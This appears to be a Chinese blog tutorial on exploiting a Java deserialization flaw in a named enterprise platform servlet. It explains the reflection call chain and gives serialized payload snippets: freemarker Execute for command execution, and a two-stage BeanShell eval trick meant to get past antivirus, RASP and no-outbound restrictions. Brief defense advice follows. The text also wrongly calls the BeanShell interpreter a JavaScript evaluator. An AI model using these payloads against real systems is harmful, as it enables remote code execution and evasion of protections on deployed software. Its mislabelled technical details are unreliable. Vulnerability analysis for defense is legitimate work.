不求甚解之考古某企业数字化平台
字数 1368 2025-08-19 12:40:52
企业数字化平台反序列化漏洞分析与利用教学文档
漏洞概述
本文详细分析某企业数字化平台中存在的两种反序列化漏洞利用方式,包括传统的命令执行方式和针对特殊环境的代码执行方式。该漏洞存在于/servlet/~aert/com.ufida.zior.console.ActionHandlerServlet接口中,通过Java反序列化机制实现远程代码执行。
漏洞分析
基础反序列化漏洞
-
漏洞入口:
- 接口路径:
/servlet/~aert/com.ufida.zior.console.ActionHandlerServlet - 处理流程:接收数据流 → GZIP解码 →
readObject()反序列化
- 接口路径:
-
关键调用链:
- 反序列化后调用
ActionExecutor.exec()方法 - 该方法通过反射机制动态调用指定类的方法
- 反序列化后调用
-
参数控制:
msg:类名(String类型)methodName:方法名(String类型)parameter:参数对象(Object类型)currentLanguage和logModule:其他参数
反射调用机制
-
方法查找流程:
- 首先检查
map_method静态Map中是否缓存了方法 - 若未缓存,则动态查找方法:
- 参数为数组类型:获取精确匹配的方法
- 参数非数组类型:获取参数类型为
Object.class的方法
- 首先检查
-
方法缓存机制:
- 缓存键:
类名+方法名+方法参数数量 - 同名同参数数量的方法只能缓存一个
- 缓存键:
-
方法调用逻辑:
- 找到方法后,根据是否有参数分别调用:
- 有参方法:
method.invoke(obj, parameter) - 无参方法:
method.invoke(obj)
- 有参方法:
- 找到方法后,根据是否有参数分别调用:
传统利用方式
利用条件
- 目标类中存在单参数的可利用方法
- 方法名在目标类中唯一(或同名方法参数数量不同)
利用步骤
-
选择利用类:
- 使用
freemarker.template.utility.Execute类的exec方法 - 该方法接受单个String参数,执行系统命令
- 使用
-
构造Payload:
oos.writeObject("freemarker.template.utility.Execute"); // msg oos.writeObject("exec"); // methodName oos.writeObject("calc.exe"); // parameter oos.writeObject(null); // currentLanguage oos.writeObject(null); // logModule -
利用限制:
- 需要知道Web绝对路径才能写文件
- 可能被杀毒软件或RASP拦截命令执行函数
- 目标机器出网受限时难以利用
高级利用方式(代码执行)
适用场景
- 命令执行被拦截
- 目标机器不出网
- 需要更隐蔽的执行方式
利用步骤
-
选择利用类:
- 使用
bsh.Interpreter的eval方法执行JavaScript代码
- 使用
-
参数类型问题:
eval方法有两个重载版本:eval(String)eval(Reader)
- 需要确保调用的是String参数的版本
-
两阶段利用:
第一阶段:缓存String参数的方法
oos.writeObject("bsh.Interpreter"); // msg oos.writeObject("eval"); // methodName oos.writeObject(new String[]{"代码"}); // 使用数组参数确保精确匹配第二阶段:实际执行
oos.writeObject("bsh.Interpreter"); // msg oos.writeObject("eval"); // methodName oos.writeObject("代码内容"); // parameter -
替代方案:
- 直接使用
StringReader作为参数:
oos.writeObject(new StringReader("代码内容")); - 直接使用
防御建议
-
开发者:
- 避免使用Java原生序列化机制
- 对反序列化操作进行严格的白名单控制
- 升级相关组件到安全版本
-
管理员:
- 部署RASP防护方案
- 监控可疑的反序列化操作
- 限制危险类的加载和使用
总结
本文详细分析了该企业数字化平台中的反序列化漏洞,从基础的命令执行到高级的代码执行利用方式,提供了完整的利用链分析和实际利用方法。针对不同环境提供了多种利用方案,同时也给出了相应的防御建议。